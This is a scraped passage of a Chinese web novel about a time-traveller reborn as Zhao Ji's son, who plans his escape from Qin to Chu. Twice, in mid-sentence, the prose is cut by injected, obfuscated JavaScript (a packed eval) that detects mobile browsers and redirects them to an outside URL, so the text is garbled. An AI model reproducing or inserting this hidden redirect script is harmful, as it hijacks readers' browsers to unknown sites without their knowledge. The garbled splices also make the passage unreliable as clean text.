春枝被人救起来之后,还有些恍惚:“我不是要去给小主子拿吃的吗?我怎么在这儿?对了,小主子!” 她像是突然间从美梦中惊醒一般,紧张地开始四处张望。 “小主子现在怎么样了?奴婢这么久没有给小主子送吃的,小主子肯定饿坏了吧?” 这时,春枝终于看到了坐在上首的赵姬。 赵姬见了她这副模样,愈发相信阿大被挟持之事与她无关。 她本就对春枝十分信任,如今见春枝遭了大罪,醒来之后第一反应是关心阿大和阿小,她不由对春枝多了几分怜惜。 赵姬道:“小主子没事。倒是你,无缘无故被人敲昏在地。你可还记得,敲昏你的是什么人?” 春枝抱着头,仔细想了一会儿,才开口:“是……是秦王派来的使者!奴婢去给小主子们拿吃的时,他们似乎察觉到了什么,一直追在奴婢身边问东问西。奴婢不想理会他们,又怕他们起疑,只好随口应付他们几句……” “后来、后来……奴婢恍惚间看到了偷跑出来的大公子,就被他们击昏在地。接下来发生了什么,奴婢就不知道了。” 春枝说完这番话,紧张地看着赵姬:“大公子呢?大公子没出什么事吧?” 赵姬见春枝的供词与秦汉唐的说法对得上,最后的一丝怀疑也消失了。 她只当是夏无且和陈驰老谋深算,发现了端倪。再加上秦汉唐贪玩好动,“送货上门”,这才有了秦汉唐被挟持一事。 一切都是巧合,并非春枝对这项差事不上心。 “那二人挟持阿大,逃出了雍城王宫。好在阿大没有受伤,这事儿就到此为止吧,我不欲再深究了。”赵姬道。 春枝羞愧地低下了头:“您将两位公子托付给奴婢,奴婢却辜负了您的信任,请您责罚奴婢吧!若是奴婢再小心一些,兴许就不会发生这样的事了,大公子也不必遭这样的罪!” “是我儿子调皮捣蛋,惹来了一场祸事,我怎么能怪到你头上?你放心,我不是这样不讲道理的人。”赵姬将春枝扶了起来。 春枝听了这话,愈发无地自容。赵太后虽有些糊涂,对于他们这些下人而言,却是个难得宽厚和气的主子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14965331|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 若是换个脾气差些的主子,不管这事儿是不是她的错,她都逃不过一顿重罚。 赵姬盯着春枝看了半晌,叹了口气:“春枝,我可以信任你吗?” 刚刚被赵姬赦免的春枝如同打了鸡血一般回答道:“太后若有什么吩咐,奴婢定然为您赴汤蹈火!” “赴汤蹈火倒是不必,我只盼着,日后阿大再犯浑的时候,你能尽量劝着他些。” “这……”春枝听着这话有些奇怪,不由小心翼翼地问道:“您这是什么意思?难不成,日后奴婢就要转成伺候两位小主子了吗?” 她可是赵姬的贴身侍婢!若不是赵姬一时之间找不到趁手的人,她也不会临时被指派去伺候秦汉唐和阿小!现在,赵姬难不成是想彻底把她给阿大了? 赵姬犹豫了片刻,想起她生病前秦汉唐跟她说过的话,想起嫪毐这些日子对秦汉唐的种种敌视和忌惮,想起雍城王宫这两日的肃杀氛围,她终是下定了决心。 “政儿肯定已经知道阿大和阿小的存在了,他们不能在雍城王宫中久留,你替我把他们送走!若是将来一切顺利,我们会将阿大和阿小再接回来。若是……若是事情不顺,你就带着他们在外头藏好,不要再轻易回来了!” 春枝听了这番话,一阵心惊肉跳:“太后,您这是……” 赵姬露出了一丝苦笑:“不要多问,知道的多了,对你来说没什么好处。你只需按照我的命令行事就行了。我能够信任的人不多,你是其中的一个。你一定要替我照顾好阿大和阿小,若我还有接你们回来的那日,我会给予你极为丰厚的赏赐!若是我没有信儿传来,我只盼着你看在我平日里对你不错的份儿上,好好照顾阿大和阿小,不要抛弃他们。” 春枝郑重地道:“奴婢深受太后的恩泽,没有太后,就没有奴婢的今日。请太后放心,奴婢定会好好保护小主子们,直到太后派人来接咱们!” “你们商议与我有关的大事,却把我撇在一边,是不是太过分了些?”这时,一道稚嫩的嗓音从门口传来。 不必去看来人是谁,仅听这声音,赵姬就知道是她的儿子来了。 “阿大,阿母将你和阿小送走,也是为你们好。你阿父触怒了你秦王兄长,接下来,你秦王兄长指不定会做出什么事儿来,阿母与你们阿父要全力应对你秦王兄长。你们若是留在雍城王宫中,阿母与你们阿父一时半会儿怕是顾不上你们。你们先待在安全的地方等阿父和阿母来接你们,好吗?” 秦汉唐眨着黑白分明的眼睛看向赵姬:“什么是安全的地方?若我和阿小留在秦国的土地上,‘普天之下,莫非王土,率土之滨,莫非王臣①’。又有哪里对我们来说是绝对安全的地方?阿母打算将我们送去哪儿?若是秦王兄长派人来抓我们,我们又该往哪儿逃?这些,阿母都考虑过吗?” 秦汉唐并不反对出逃,他甚至是盼着出逃的,他并不愿意将自身的性命寄托在别人的仁慈上。 即使他已经努力刷秦王政的好感度了,他仍然不能肯定秦王政是否会放过他和弟弟。 先离开雍城,观察观察风向,再决定是否要回来,对他来说是个明智的选择。 只是,秦汉唐不能接受漫无目的地出逃。要是像个没头苍蝇似的跑来跑去,那还不如不跑呢,也省得穷折腾了! 赵姬听了秦汉唐的话,顿时陷入了沉默之中。她要是真能做到事事周全,她也不会是今天这个她了! 她犹豫了一会儿,开口道:“你阿父有一块封地,我可以把你们送到他的封地上去,那里的士兵会保护你们的。” “封地也是秦王赐的,阿父持有封地的时间还不长。阿母要是把我送去那里,跟把我直接送到秦王兄长的手中有什么区别?” “你素来是个主意大的,既然你觉得你阿父的封地不保险,那你说说,我该把你们送去哪里?” “边关!”秦汉唐道:“阿母将我和阿小送去秦楚边境,一旦事有不对,我们就直接往楚地跑!” 16.第 16 章 赵姬被她儿子的一番言论给镇住了。半晌,她才蹙眉道:“你怎么会想到逃去楚国?” 当然是因为他之前就考虑过这个问题啊!秦汉唐心中的小人儿叉起了腰。 不过在赵姬面前,他还得表现出一副可靠的样子来。 没办法,他的年龄在这里摆着,周围的人本来就很容易不把他说的话当回事。他要是再不表现得可靠些,他该怎么让赵姬按照他说的去做呢? “楚国疆域辽阔,地势复杂。一旦我们进入楚国,只要我们找好路线,别说秦王,就连楚王想要寻找我们的下落,都十分困难。这样一来,我和弟弟的小命不就暂且保住了吗?” 秦汉唐道:“秦楚关系微妙,兄长还没有亲政,他应该不会直接来楚国要人。” 为什么说秦楚关系微妙呢?秦楚两国近几代一直在联姻,但一旦有机会,两国该捅刀子就捅刀子,绝不会手软。 嬴政的高祖母宣太后就是楚国人,她还给自家秦王儿子娶了个楚国公主,然而这对改善秦楚关系并没有起到决定性的作用。因为她有一个不做人的儿子。 嬴政的曾祖父秦昭襄王主打一个不骗陌生人,专骗自家亲戚。 秦昭襄王一边做着楚怀王的女婿,一边把老岳父骗到秦国来做人质,狮子大开口,让楚国割让大片土地给秦国。 楚国当然不同意。不就是楚王被抓了吗?有什么大不了的?换一个楚王不就好了? 于是乎,楚怀王被抛弃了,他的儿子楚顷襄王被推到了前台。 虽然楚怀王这个人质失去了作用,秦昭襄王还是没放过他。他千辛万苦跑到别的国家,又被秦昭襄王抓了回去。楚怀王最终只能客死他乡,郁郁而终。 新继位的楚顷襄王蒙受这等奇耻大辱,气得要跟秦国断交。 秦昭襄王这个霸道的家伙才不跟楚顷襄王讲道理,当时他还有大杀神白起在手呢,怕什么?讲不服,那就开打好了! 嚣张霸道的秦军一路打到了楚国当时的都城,烧了楚王陵,逼得屈原投江自尽了…… 想到这里,秦汉唐就不由唏嘘。上课的时候,老师一提到“爱国诗人”屈原,总会说他是“殉国”身亡。 以前秦汉唐不了解历史真相那阵儿,还真以为“殉国”意味着楚国亡了,楚国亡了意味着秦始皇派人去灭楚了。 在相当长的一段时间中,秦汉唐都觉得屈原投江是秦始皇害的。 那时候的秦汉唐可没有料到,屈原自尽都快二十年了,秦始皇才刚刚出生,秦始皇这口锅真是背得好冤枉。 言归正传,楚国都城被人攻占了,楚王陵被秦军烧了,楚国王室和贵族们被迫逃到别的地方去。 那会儿,对于屈原来说,楚国恐怕与“亡国”也没什么两样了吧? 楚王烂泥扶不上墙,屈原有本事却得不到重用,难怪他会如此绝望。 打了败仗的楚顷襄王想要硬气,却没办法再硬气。他把自己的太子派到秦国为质,这个太子还在秦国留下了一个儿子,也就是昌平君芈启。 这个太子他本身不出名,但他有一个赫赫有名的发小,战国四公子之一的春申君黄歇。 楚顷襄王病故的时候,太子想要赶回楚国继承王位,却被秦昭襄王给拒绝了。也不知道秦昭襄王是不是想故技重施,扣着这位太子跟楚国谈条件。 太子一想到他祖父楚怀王的待遇,吓得连夜出逃。当时,就是黄歇帮他出谋划策逃回了楚国。 太子,也就是楚考烈王回到楚国之后,很是老实了一阵子。那会儿,秦楚联姻还在继续,秦昭襄王的太子死了,嬴政的祖父安国君被立为新的太子。 由于安国君非常宠爱华阳夫人,便立了华阳夫人为正室。这位华阳夫人,便是一位楚女。 后来,嬴政他爹嬴异人想要争取太子之位,就曾经讨好这位华阳夫人,穿着楚服出现在华阳夫人面前,还把自己的名字改为“子楚”。 现在,华阳夫人已经成为了华阳太后,嬴政见了她,还要唤她一声祖母呢。 可以说,楚国与秦国渊源非常深。不过,即使互为姻亲,也不影响秦楚打生打死。 秦汉唐选择楚国作为出逃地,是有原因的。正是这种亦敌亦友的关系,让楚国不会对秦王的话言听计从。 要是楚国跟秦国关系真的那么好,秦汉唐逃到楚国去,就是纯纯找死。 赵姬倒是不知道这么多弯弯绕绕。她纯粹是为自家儿子想要逃出秦国感到震惊。 震惊过后,她又有些理解儿子的选择。如果嫪毐的行动真的失败了,整个秦国对于阿大和阿小来说都将不再安全。这种情况下,逃到别的国家去,对于阿大和阿小来说反而是一种出路。 不过,赵姬对秦汉唐的选择还是不大赞同:“为什么要往秦楚边境跑呢?为什么不往秦赵边境跑呢?” 赵姬是赵国人,提到出逃,她自然第一个就想到了赵国。 虽然赵姬在赵国有很多并不美好的回忆,但在熟悉的赵国与陌生的楚国之间,她还是更倾向于赵国。 “若是你必须要出国避难,可以选择赵国。”赵姬认真地道:“阿母的族人都在赵国,有他们帮忙照拂你,阿母也能放心一些。” 秦汉唐:“我相信阿母的族人会好好照顾我和弟弟,但我不相信赵王……阿母,听我的,赵国不能去,还是楚国好一些。” 这可是他在那一晚辗转反侧之后,精心给自己挑选的逃亡地呢! 赵姬本就不是一个意志坚定之人,她见秦汉唐坚持,最终还是点了头。 “好,阿母把你们送到秦楚边境去。” 秦汉唐筹谋了那么久的事,赵姬只一句话就可以搞定了。 这时候,秦汉唐也不得不感慨,这年头,还是得有权有势才好使啊! 跟自己亲娘没什么好客气的,秦汉唐在争取到逃往楚国的权利之后,又开始为此做各种准备。 比如,支使他娘给他置办“身份证”,让他能够顺利逃到楚国去。用他自己真实的身份肯定是不可能的,不过,用假身份还是可以的。 这事儿对于普通人来说难办,但对于赵姬来说,压根儿不算什么事儿,赵姬手头就有许多身份可以给秦汉唐用。最终,秦汉唐为他和弟弟挑了商贾儿子的身份。 商贾本来就要走南闯北,用他们的身份自然有诸多便利之处。不过,对于大秦来说,要管理这些人可不是一件容易的事儿。也难怪大秦出台了种种律法,想要将庶民们都绑在土地上。 “身份证”问题搞定之后,秦汉唐又管赵姬要了几个会说楚国话的近侍。 秦汉唐不会说楚国话,也不会说六国上层通用的周朝雅言。为了避免他逃到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14971372|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚国之后没法跟人沟通,找几个同时会说秦国话和楚国话的小厮和婢女还是很有必要的。 就这样,赵姬被秦汉唐指挥得团团转,好不容易办完了儿子交代给她的任务。 等赵姬稍微能够松口气的时候,她有些无奈地看着自家儿子:“还有什么要求,一起说吧!你可真会使唤你阿母!” “我这也是没法子呀!除了阿母之外,我还能指望谁呢?还有谁会这么不遗余力地帮我呢?也只有阿母会这般为我们着想了。” 秦汉唐给了赵姬一个拥抱:“事不宜迟,阿母,我这就带着阿小出发了,你要多多保重。希望咱们下回再见面的时候,你还是能像现在这样。” 他准备离开时,赵姬一把拉住了他的手:“非得今日出发吗?这会儿天色已经不早了,要不,你在宫中歇息一晚,明儿一早再启程吧!” 从赵姬的目光中,秦汉唐看出了她对他和弟弟的不舍。不过,他还是坚定地拒绝了赵姬的请求。 “雍城距离咸阳不远。这会儿,兄长多半已经得到消息了。说不定他的人已经在过来的路上了。对于我和阿小来说,早一刻逃跑,就多一分逃出生天的希望。阿母当真要让我们在这里浪费一整晚吗?” 赵姬别过了头,秦汉唐注意到,她的肩在微微颤抖:“罢了,是我强求了……你走吧,你快带着阿小远远躲开!千万别让你秦王兄长抓住了!” “我们不在的时候,阿母要照顾好自己。反正你都把太后印玺交给阿父了,接下来,你就不要操心那么多了。万一……万一阿父败了,阿母你可千万别跟秦王兄长对着来。阿父既然选择走上这样一条路,成败都得由他自己担着。” “知道了,你话怎么这么多?快走吧,趁我没有改变主意之前,赶紧带着阿小离开!哎,我也真是昏了头。你要胡闹,我就陪着你一起胡闹……” 从商议逃往到正式上路,才过了不到一日的光景。赵姬说秦汉唐是“胡闹”,一点错都没有。 只是,“胡闹”还有一丝生存下去的希望。若是继续留在雍城,嫪毐胜了还好说,嫪毐要是败了,秦汉唐与阿小只怕都是九死一生。 这年头出行可是一件麻烦事儿,马车颠簸得很,颠得秦汉唐直犯恶心。 秦汉唐从来没有料到,他居然也会有晕车的一天。他本来还想着趴在车窗边缘好好欣赏一下沿途美景,领略一下两千年前的秦国风光呢。 现在可好了,他只能有气无力地靠在车壁上,什么也做不了。 阿小跟秦汉唐是一样的。他迷迷糊糊就被自家兄长拽上了车,没等车驶出多远,就被颠得险些要吐出来。 阿小干呕了半天,什么也没吐出来,只能哼哼唧唧地躺在秦汉唐的腿边。 “兄长,难受~” 他湿漉漉的眸子直直盯着自家兄长,像极了一只委屈巴巴的小奶狗,看上去十分可怜。 明明自己也很难受的秦汉唐不得不安抚弟弟:“阿小乖,忍忍就过去了。” “亲亲~难受飞飞~” “好,兄长亲亲你,难受就飞走了。”秦汉唐像是在安慰阿小,也像是在转移自己的注意力。 他很认真地亲了亲阿小的额头,然后用自己的手盖住了阿小的眼睛。 “睡一会儿吧,等你睡一觉起来,咱们兴许就到今晚的目的地了……”